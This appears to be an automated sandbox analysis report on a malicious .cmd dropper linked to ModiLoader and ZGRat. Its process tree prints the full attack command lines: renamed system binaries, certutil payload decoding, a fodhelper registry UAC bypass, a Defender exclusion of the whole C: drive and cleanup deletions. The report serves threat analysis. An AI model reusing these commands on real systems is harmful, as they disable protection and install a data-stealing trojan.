Resubmissions

15-05-2024 11:44

240515-nwlgbsfg5x 10

15-05-2024 11:44

240515-nwcjesga39 1

Analysis

  • max time kernel
    295s
  • max time network
    270s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-05-2024 11:44

General

  • Target

    doc023561361500.cmd

  • Size

    4.9MB

  • MD5

    d05bed0572c3ce597f3b4be7a2606c08

  • SHA1

    f621468b397308f1055afaf2f27814a390eb16ea

  • SHA256

    e84dd67c7831168c1d7a0f11a78d1e0497eb1cfa8689b25b291ee4b1b96826a4

  • SHA512

    4fbe7a932d91882491648b489ec1e2c349ec71423c071e3f751c130e51ae62881473a9feaf3d842c60ed2fb6922b59f0b611491145e84b07e7145efb0ca7ec79

  • SSDEEP

    24576:sYkuWvLHtSs/yfVZIC5z65HTGq42xfcJele9P2dxBJGhRC8Ih:sYkuWTcDXB65HPxfhleljIh

Malware Config

Signatures

  • Detect ZGRat V1 33 IoCs
  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • ModiLoader Second Stage 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 26 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3244
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:5052
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        2⤵
        • Executes dropped EXE
        PID:1480
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        2⤵
        • Executes dropped EXE
        PID:4152
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:216
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3688
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4008
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\doc023561361500.cmd" "C:\\Users\\Public\\Ping_c.mp4" 9
            3⤵
            • Executes dropped EXE
            PID:2612
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:436
          • C:\Windows\system32\extrac32.exe
            extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            3⤵
              PID:4824
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1512
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              3⤵
                PID:1484
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3196
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                3⤵
                  PID:3032
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3948
                • C:\Users\Public\xkn.exe
                  C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:4552
                  • C:\Users\Public\alpha.exe
                    "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3668
                    • C:\Users\Public\ger.exe
                      C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      5⤵
                      • Executes dropped EXE
                      • Modifies registry class
                      PID:5040
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:820
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12
                  3⤵
                  • Executes dropped EXE
                  PID:4044
              • C:\Windows \System32\per.exe
                "C:\\Windows \\System32\\per.exe"
                2⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:4560
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                2⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:232
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /IM SystemSettings.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2760
              • C:\Users\Public\Libraries\Ping_c.pif
                C:\Users\Public\Libraries\Ping_c.pif
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4440
                • C:\Users\Public\Libraries\huqnearJ.pif
                  C:\Users\Public\Libraries\huqnearJ.pif
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4276
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                2⤵
                • Executes dropped EXE
                PID:1988
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                2⤵
                • Executes dropped EXE
                PID:4420
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                2⤵
                • Executes dropped EXE
                PID:4792
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3576
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3268
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:4152
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3372
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3600
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:1608

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uydranbz.x50.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Public\Libraries\Ping_c.pif

                Filesize

                1.7MB

                MD5

                ba58a19a6475eff2c5bb9b6dfc7d9dd3

                SHA1

                407eda96d6cc766e17a6a27cf37cc63dd82537f3

                SHA256

                22d6ea142dc14e08475c61aac8555f3996ef80701474865f2ed7db42cd9e2e57

                SHA512

                6e53a2642c36cddc8cad22ca898c358d3393bd0a880fb5d364cb4aa38ef200b9b0b06dd03a13d05ef91e9867cb172eb2e05a021f0b28282028f8a1eaacdaf9e0

              • C:\Users\Public\Libraries\huqnearJ.pif

                Filesize

                66KB

                MD5

                c116d3604ceafe7057d77ff27552c215

                SHA1

                452b14432fb5758b46f2897aeccd89f7c82a727d

                SHA256

                7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

                SHA512

                9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

              • C:\Users\Public\Ping_c.mp4

                Filesize

                3.4MB

                MD5

                c5d58251c6989580fcf2b5d75ea57467

                SHA1

                1b5c775600d8aa1e247574a9ff8620a3c2e74347

                SHA256

                36df0e80ac34f848b1934565413598f7c2087a81e6e4bd69de10be2f86ed15ee

                SHA512

                9efdb53e6902716f1e4ee794dd1e315080817c6eb8045f8a2c62478fb05d8aae7d53b3a8595842f319f49c8075f7522341feea66a47b0f438690905e405c76fc

              • C:\Users\Public\alpha.exe

                Filesize

                283KB

                MD5

                8a2122e8162dbef04694b9c3e0b6cdee

                SHA1

                f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                SHA256

                b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                SHA512

                99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

              • C:\Users\Public\ger.exe

                Filesize

                75KB

                MD5

                227f63e1d9008b36bdbcc4b397780be4

                SHA1

                c0db341defa8ef40c03ed769a9001d600e0f4dae

                SHA256

                c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

                SHA512

                101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

              • C:\Users\Public\kn.exe

                Filesize

                1.6MB

                MD5

                bd8d9943a9b1def98eb83e0fa48796c2

                SHA1

                70e89852f023ab7cde0173eda1208dbb580f1e4f

                SHA256

                8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                SHA512

                95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

              • C:\Users\Public\xkn.exe

                Filesize

                442KB

                MD5

                04029e121a0cfa5991749937dd22a1d9

                SHA1

                f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                SHA256

                9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                SHA512

                6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

              • C:\Windows \System32\per.exe

                Filesize

                48KB

                MD5

                85018be1fd913656bc9ff541f017eacd

                SHA1

                26d7407931b713e0f0fa8b872feecdb3cf49065a

                SHA256

                c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

                SHA512

                3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

              • memory/4276-115-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-107-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-83-0x0000000034480000-0x00000000344DC000-memory.dmp

                Filesize

                368KB

              • memory/4276-85-0x0000000034AE0000-0x0000000034B3A000-memory.dmp

                Filesize

                360KB

              • memory/4276-84-0x00000000344F0000-0x0000000034A94000-memory.dmp

                Filesize

                5.6MB

              • memory/4276-133-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-139-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-145-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-143-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-141-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-137-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-135-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-131-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-129-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-125-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-119-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-117-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-78-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4276-113-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-111-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-109-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-81-0x0000000000400000-0x0000000001400000-memory.dmp

                Filesize

                16.0MB

              • memory/4276-105-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-103-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-127-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-123-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-121-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-101-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-99-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-97-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-95-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-93-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-91-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-89-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-87-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-1172-0x0000000034C80000-0x0000000034CE6000-memory.dmp

                Filesize

                408KB

              • memory/4276-86-0x0000000034AE0000-0x0000000034B35000-memory.dmp

                Filesize

                340KB

              • memory/4276-1173-0x0000000035CB0000-0x0000000035D00000-memory.dmp

                Filesize

                320KB

              • memory/4276-1174-0x0000000035D00000-0x0000000035D9C000-memory.dmp

                Filesize

                624KB

              • memory/4276-1177-0x0000000035E20000-0x0000000035EB2000-memory.dmp

                Filesize

                584KB

              • memory/4276-1178-0x0000000036040000-0x000000003604A000-memory.dmp

                Filesize

                40KB

              • memory/4440-75-0x0000000000400000-0x00000000005B9000-memory.dmp

                Filesize

                1.7MB

              • memory/4552-36-0x000001D4954E0000-0x000001D495502000-memory.dmp

                Filesize

                136KB